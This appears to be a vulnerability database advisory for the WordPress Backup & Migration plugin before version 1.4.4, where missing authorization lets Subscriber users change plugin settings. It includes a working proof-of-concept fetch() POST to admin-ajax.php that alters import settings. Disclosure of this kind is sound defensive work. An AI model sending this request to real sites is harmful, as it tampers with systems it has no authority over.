WordPress Plugin Vulnerabilities

WordPress Backup & Migration < 1.4.4 - Subscriber+ Plugin Settings Update

Description

The plugin does not authorize some AJAX requests, allowing users with a role as low as Subscriber to update some plugin settings.

Proof of Concept

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": "settings_data%5Bim_data_size_per_req%5D=100&settings_data%5Bim_db_file_per_req%5D=200&action=mgdp_plugin_save_import_settings",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

Open http://127.0.0.1:8001/wp-admin/admin.php?page=wp-migration-duplicator#wt-mgdp-import and click on Advanced Options to see the updated settings.

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-11-06 (about 6 months ago)
Added
2023-11-06 (about 6 months ago)
Last Updated
2023-11-06 (about 6 months ago)

Other